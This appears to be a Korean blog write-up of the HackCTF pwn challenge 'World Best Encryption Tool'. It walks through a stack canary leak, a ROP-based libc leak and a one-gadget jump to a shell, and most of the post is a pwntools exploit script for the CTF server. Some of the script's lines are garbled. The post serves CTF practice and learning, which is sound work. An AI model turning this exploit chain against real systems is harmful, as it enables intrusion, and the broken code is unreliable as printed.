HackCTF - World Best Encryption Tool

2021. 1. 11. 10:59CTF's Write-up

문제 화면

World Best Encryption Tool 문제입니다.

 

 

 

 

실행화면

 

 

실행해보면 뭔가 암호화해서 출력해주는 프로그램 같습니다.

 

 

nx와 카나리가 있네요.

 

 

ida main

 

main함수를 보면 14번줄, 20번줄에서 bof가 발생합니다

 

17번째에서 src를 암호화 한 부분을 dest로 덮어씌우니 여기서 잘 활용하면 canary_leak이 가능할 거같네요.

그리고 Yes로 다시 메인으로 가서 libc_leak해서 oneshot으로 터트리면 될 것 같습니다.

 

페이로드는 아래와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import * 
 
= remote("ctf.j0n9hyun.xyz"3027)
#r = process("./World_best_encryption_tool")
= ELF("./World_best_encryption_tool")
= e.libc
context.log_level = "debug"
 
pr = 0x00000000004008e3
puts_got = e.got['puts']
puts_plt = e.plt['puts']
setvbuf_got=e.got['setvbuf']
setvbuf_off=l.symbols['setvbuf']
main_add = e.symbols['main']
puts_off = l.symbols['puts']
oneshot_off= 0xf1147
 
r.recvuntil("Your text)\n")
pay = "A"*(0x38+ "B"
r.sendline(pay)
r.recvuntil("AAAAAA")
canary = u64(r.recv(8))-ord("B")
log.info("leak = " + hex(canary))
 
r.sendline("Yes")
r.recvuntil("Your text)\n")
 
 
pay = ""
pay += "A"*0x38
pay += "\x00"
pay += "A"* 0x3f
pay += p64(canary)
pay += "A"*0x8
pay += p64(pr) + p64(setvbuf_got) + p64(puts_plt) #rop
pay += p64(main_add)
 
 
r.sendline(pay)
r.recvuntil("No)\n")
r.sendline("No")
setvbuf_add = u64(r.recv(6+ "\x00\x00")
libc_base = setvbuf_add - setvbuf_off
oneshot_add = libc_base + oneshot_off
 
log.info("setbuf = " + hex(setvbuf_add))
log.info("libc_base = " + hex(libc_base))
log.info("oneshot_add = " + hex(oneshot_add))
 
pay = ""
pay += "A"*0x38
pay += "\x00"
pay += "A"* 0x3f
pay += p64(canary)
pay += "A"*0x8
pay += p64(oneshot_add)
 
r.sendline(pay)
 
r.interactive()
 
 
cs

 

 

이를 실행하면

 

 

 

shell 획득이 가능합니다.

puts_got하고 scanf_got으로 leak하려고 했는데 안돼서 삽질 엄청했습니다.

이유는 모르겠어서 c2w2m2에게 물어봤는데.. 내기에서 승리하신 후 답장해주신다고 하셨습니다 ㅋㅋㅋ :)

 

'CTF's Write-up' 카테고리의 다른 글

DreamHack - php-1  (0) 2021.01.12
DreamHack - rev-basic-2  (0) 2021.01.12
HackCTF - Register  (0) 2021.01.10
HackCTF - RTC  (0) 2021.01.08
DreamHack - simple-ssti  (0) 2021.01.04